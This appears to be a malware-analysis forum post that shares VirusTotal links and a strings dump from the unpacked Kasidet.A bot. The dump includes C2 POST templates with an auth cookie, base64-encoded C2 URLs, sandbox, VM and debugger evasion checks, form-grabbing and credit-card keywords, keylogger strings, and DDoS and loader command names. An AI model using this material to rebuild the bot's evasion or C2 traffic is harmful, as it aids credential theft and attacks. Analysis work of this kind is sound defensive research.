ikolor wrote:next
https://www.virustotal.com/en/file/29ca ... 448479782/
Kasidet.A, in attach unpacked. Contains idiotic VM detect. Posts moved.
https://www.virustotal.com/en/file/e0f3 ... 476687603/
Code: Select allHost: %s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Content-type: application/x-www-form-urlencoded
Cookie: authkeys=21232f297a57a5a743894a0e4a801fc3
Content-length: %i
%s
POST %s HTTP/1.0
Host: %s
Cookie: authkeys=21232f297a57a5a743894a0e4a801fc3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Connection: close
Content-Length: %d
Content-Type: multipart/form-data; boundary=---------------------------%d
% 0 2 X %x A D V A P I 3 2 . d l l RegQueryValueExA RegOpenKeyA RegCloseKey Software\N3NNetwork\ arr a r r S o f t w a r e \ N 3 N N e t w o r k \ :// / : / / -----------------------------%d
%sContent-Disposition: form-data; name="fname"
%S
%sContent-Disposition: form-data; name="data"; filename="%S"
Content-Type: application/octet-stream
S O F T W A R E \ M i c r o s o f t \ W i n d o w s \ C u r r e n t V e r s i o n \ R u n * . . . \ % s \ . e x e % A P P D A T A % % T E M P % % A L L U S E R S P R O F I L E % * a H R 0 c D o v L 2 5 1 d H F h d X l 0 d m E x M G F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y X V 5 d H Z h M m F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y X V 5 d H Z h M 2 F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y X V 5 d H Z h N G F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y X V 5 d H Z h N W F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y X V 5 d H Z h N m F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y X V 5 d H Z h N 2 F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y X V 5 d H Z h O G F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y X V 5 d H Z h O W F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y X V 5 d H Z h M T A w Y X p 4 Z C 5 j b 2 0 v b m V 3 Z m l 6 N y 9 0 Y X N r c y 5 w a H A q a H R 0 c D o v L 2 5 1 d H F h d X l 0 d m E x M W F 6 e G Q u Y 2 9 t L 2 5 l d 2 Z p e j c v d G F z a 3 M u c G h w K m h 0 d H A 6 L y 9 u d X R x Y Q = = a u t h = 1 DEBUG DEBUG pong * S O F T W A R E \ M i c r o s o f t \ W i n d o w s N T \ C u r r e n t V e r s i o n D i g i t a l P r o d u c t I d I n s t a l l D a t e % 0 8 X % 0 8 X : : % s N % 2 F A GetNativeSystemInfo k e r n e l 3 2 . d l l W i n % 2 0 V i s t a W i n % 2 0 S r v % 2 0 2 0 0 8 W i n % 2 0 7 W i n % 2 0 8 W i n % 2 0 S r v % 2 0 2 0 0 8 W i n % 2 0 S r v % 2 0 2 0 0 3 W i n % 2 0 S r v % 2 0 2 0 0 3 W i n % 2 0 S r v W i n % 2 0 X P W i n % 2 0 S r v % 2 0 2 0 0 3 W i n % 2 0 X P W i n % 2 0 2 0 0 0 % 2 0 ( 6 4 - b i t ) % 2 0 ( 3 2 - b i t ) N % 2 F A N % 2 F A R O O T \ S e c u r i t y C e n t e r 2 R O O T \ S e c u r i t y C e n t e r S E L E C T * F R O M A n t i V i r u s P r o d u c t W Q L d i s p l a y N a m e N o t % 2 0 i n s t a l l e d S e D e b u g P r i v i l e g e IsWow64Process k e r n e l 3 2 % s % s % s C O M S P E C % s / c d e l % s H A R D W A R E \ D e s c r i p t i o n \ S y s t e m S y s t e m B i o s V e r s i o n B O C H S B O C H S H A R D W A R E \ D E V I C E M A P \ S c s i \ S c s i P o r t 0 \ S c s i B u s 0 \ T a r g e t I d 0 \ L o g i c a l U n i t I d 0 I d e n t i f i e r Q E M U H A R D W A R E \ D e s c r i p t i o n \ S y s t e m S y s t e m B i o s V e r s i o n Q E M U H A R D W A R E \ D E V I C E M A P \ S c s i \ S c s i P o r t 0 \ S c s i B u s 0 \ T a r g e t I d 0 \ L o g i c a l U n i t I d 0 I d e n t i f i e r V B O X H A R D W A R E \ D e s c r i p t i o n \ S y s t e m S y s t e m B i o s V e r s i o n V B O X S O F T W A R E \ O r a c l e \ V i r t u a l B o x G u e s t A d d i t i o n s H A R D W A R E \ D e s c r i p t i o n \ S y s t e m V i d e o B i o s V e r s i o n V I R T U A L B O X k e r n e l 3 2 . d l l S O F T W A R E \ V M w a r e , I n c . \ V M w a r e T o o l s wine_get_unix_file_name s b i e d l l . d l l p r i n t f h e l p . d l l a p i _ l o g . d l l d i r _ w a t c h . d l l p s t o r e c . d l l v m c h e c k . d l l w p e s p y . d l l M A L T E S T T E Q U I L A B O O M B O O M S A N D B O X V I R U S M A L W A R E \ S A M P L E \ V I R U S S A N D B O X \ \ . \ P h y s i c a l D r i v e 0 g d k W i n d o w T o p l e v e l P R O C E X P L P R O C M O N _ W I N D O W _ C L A S S T C P V i e w C l a s s T h u n d e r R T 6 F o r m D C O l l y D b g A u t o r u n s A n u n k n o w n e r r o r o c c u r r e d ( 1 ) A n u n k n o w n e r r o r o c c u r r e d ( 2 ) A n u n k n o w n e r r o r o c c u r r e d ( 3 ) A n u n k n o w n e r r o r o c c u r r e d ( 4 ) A n u n k n o w n e r r o r o c c u r r e d ( 5 ) A n u n k n o w n e r r o r o c c u r r e d ( 6 ) A n u n k n o w n e r r o r o c c u r r e d ( 7 ) A n u n k n o w n e r r o r o c c u r r e d ( 8 ) 0 rate r a t e * * cookie name auth user login id pass pwd credit visa gold vbv a l F S V W J B POST %s HTTP/1.0
Host: %s
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0
Content-type: application/x-www-form-urlencoded
Cookie: authkeys=21232f297a57a5a743894a0e4a801fc3
Content-length: %i
%s
ff=1&uid=zzz&host=%s&form=%s&browser=%s D I S P L A Y A L L W I N D O W a l F S V W J B A P P D A T A % s \ % s a l F S V W J B A P P D A T A % s \ % s \ l o g s \ a l F S V W J B a l F S V W J B A P P D A T A % s \ % s \ l o g s \ % s % s . t x t K L G % 0 2 d : % 0 2 d ( % 0 2 d . % 0 2 d . % d ) ]
% i . b m p
[ % s | T i m e -
< d e l > < >
C L I P B R D :
W i n C l a s s i f y * l o g s . r a r l o g s . r a r l o g s . r a r l o g s . r a r l o g s . r a r l o g s . r a r l o g s . r a r | | % l s \ * . e x e | | | \ e x p l o r e r . e x e W I N D I R a l F S V W J B A P P D A T A % s \ % s \ % s % s % s % s 3 . 5 c m d = 1 & u i d = % s & o s = % s & a v = % s & v e r s i o n = % s & q u a l i t y = % i e x e c = 1 & t a s k _ i d = % S f a i l = 1 & t a s k _ i d = % S DEBUG DEBUG # # %s rate 1 update W I N D I R A P P D A T A % s \ % s http slow dwflood tcp udp https loader findfile cmd botkiller keylogger * . . . \ A : \ % s T E M P % s \ % d % s . d l l / s % s r e g s v r 3 2 . v b s w s c r i p t / a / c C o m S p e c
ftp://%s:%s@%s:%d ftp %s%s tmps TEMP %s\%d_%d.%s GET %s HTTP/1.1
Host: %s
User-Agent: %s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
GET POST %s HTTP/1.1
Host: %s
User-Agent: %s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
Content-length: %lu
GET %s HTTP/1.1
Host: %s
User-Agent: %s
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Keep-Alive: 300
Connection: keep-alive
Content-length: %lu
X-a: b
%s WOW64; Mozilla/%i.0 (Windows NT %i.%i; %srv:%i.0) Gecko/20100101 Firefox/%i.0 Mozilla/%i.0 (compatible; MSIE %i.0; Windows NT %i.%i; Trident/%i.0)
